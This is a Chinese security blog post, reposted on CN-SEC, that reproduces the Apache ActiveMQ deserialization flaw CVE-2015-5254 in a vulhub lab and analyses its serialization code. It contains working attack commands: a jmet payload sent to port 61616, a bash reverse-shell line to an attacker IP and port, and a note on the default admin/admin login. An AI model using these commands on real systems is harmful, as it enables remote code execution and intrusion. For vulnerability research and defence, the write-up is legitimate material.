ActiveMQ漏洞复现和分析(CVE-2015-5254)

admin 2022年1月6日01:06:18安全博客评论17 views3697字阅读12分19秒阅读模式

摘要

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。

影响版本

Apache ActiveMQ 5.13.0之前5.x版本中

环境搭建

vulhub拉取漏洞环境docker启动

1
docker-compose up -d

漏洞指纹

使用namp对目标进行扫描

1
nmap -sV IP -p 8161,61616

扫描结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
Host is up (0.00029s latency).

PORT STATE SERVICE VERSION
8161/tcp open http Jetty 8.1.16.v20140903
61616/tcp open apachemq ActiveMQ OpenWire transport
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port61616-TCP:V=7.80%I=7%D=12/13%Time=5FD5DA4A%P=x86_64-apple-darwin19.
SF:0.0%r(NULL,F4,"\0\0\0\xf0\x01ActiveMQ\0\0\0\n\x01\0\0\0\xde\0\0\0\t\0\x
SF:0cMaxFrameSize\x06\0\0\0\0\[email protected]\0\0\0\tCacheSize\x05\0\0\x04\0\0\x0cCac
SF:heEnabled\x01\x01\0\x12SizePrefixDisabled\x01\0\0\x20MaxInactivityDurat
SF:ionInitalDelay\x06\0\0\0\0\0\0'\x10\0\x11TcpNoDelayEnabled\x01\x01\0\x1
SF:5MaxInactivityDuration\x06\0\0\0\0\0\0u0\0\x14TightEncodingEnabled\x01\
SF:x01\0\x11StackTraceEnabled\x01\x01");

默认口令漏洞

ActiveMQ默认口令是admin/admin 登陆后可以看到对应的版本信息。放序列化需要登陆后才能触发,任意文件上传访问webshell需要登录

image-20201213171426069

反序列化漏洞(CVE-2015-5254)

漏洞利用过程如下:

a.构造(可以使用ysoserial)可执行命令的序列化对象

b.作为一个消息,发送给目标的61616端口

c.访问Web管理界面,读取消息触发漏洞

jmet的jar文件(这里windows和linux都经过了测试,windows在 “1.8.0_241”版本中可利用成功,linux在”11.0.7“不可以,应该是java版本导致的原因)

下载jmet

1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 目标IP 61616

发送成功如下:

1
2
3
INFO d.c.j.t.JMSTarget [main] Connected with ID: ID:ol4three-55063-1607996494671-0:1
INFO d.c.j.t.JMSTarget [main] Sent gadget "ROME" with command: "touch /tmp/sucess"
INFO d.c.j.t.JMSTarget [main] Shutting down connection ID:ol4three-55063-1607996494671-0:1

image-20201215095044834

点击队列即可触发(如果没有弱口令,可写入后等待管理员点击触发),可成功执行建立文件的命令,这里可通过以下命令进入docker查看

1
docker exec -it 609d53eb4f5a /bin/bash

image-20201215101659372

反弹shell需要在这里将bash反弹命令进行编码

1
bash -i >& /dev/tcp/IP/端口 0>&1
1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "编码后的反弹命令" -Yp ROME 目标IP 61616

image-20201215105651639

漏洞分析

漏洞触发流程如下

ObjectMessage.setObject() ->MessageProducer.send()→MessageConsumer.recive()→ObjectMessage.getObject()

下面是setObject()和getObject()的操作接口

image-20201215150520127

image-20201215150819658

这里为序列化操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void writeObject(ObjectOutputStream s) throws IOException {
int sshift = 0;
int ssize = 1;
while (ssize < 16) {
sshift++;
ssize <<= 1;
}
int segmentShift = 32 - sshift;
int segmentMask = ssize - 1;
Segment[] segments = (Segment[])new Segment[16];
for (int i = 0; i < segments.length; i++)
segments[i] = new Segment(0.75F);
s.putFields().put("segments", segments);
s.putFields().put("segmentShift", segmentShift);
s.putFields().put("segmentMask", segmentMask);
s.writeFields();
Node[] arrayOfNode;
if ((arrayOfNode = this.table) != null) {
Traverser<K, V> it = new Traverser<K, V>(arrayOfNode, arrayOfNode.length, 0, arrayOfNode.length); Node<K,
V> p;
while ((p = it.advance()) != null) {
s.writeObject(p.key);
s.writeObject(p.val);
}
}
s.writeObject(null);
s.writeObject(null);
segments = null;
}

image-20201215170349015

getObject()方法会调用readobject()方法中将data中的数据进行反序列化并且触发漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void readObject(ObjectInputStream stream) throws InvalidObjectException { throw new 
InvalidObjectException("Proxy required"); }
static final class SerializationProxy<K, V>
extends Object
implements Serializable
{
final EntryWeigher<? super K, ? super V> weigher;
final EvictionListener<K, V> listener;
final int concurrencyLevel;
final Map<K, V> data;
final long capacity;
static final long serialVersionUID = 1L;
SerializationProxy(ConcurrentLinkedHashMap<K, V> map) {
this.concurrencyLevel = map.concurrencyLevel;
this.data = new HashMap(map);
this.capacity = map.capacity.get();
this.listener = map.listener;
this.weigher = map.weigher;
}
Object readResolve() {
ConcurrentLinkedHashMap<K, V> map = (new ConcurrentLinkedHashMap.Builder()).concurrencyLevel(this.
concurrencyLevel).maximumWeightedCapacity(this.capacity).listener(this.listener).weigher(this.weigher).build();
map.putAll(this.data);
return map;
}
}

FROM :ol4three.com | Author:ol4three

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:06:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  ActiveMQ漏洞复现和分析(CVE-2015-5254) http://cn-sec.com/archives/721045.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: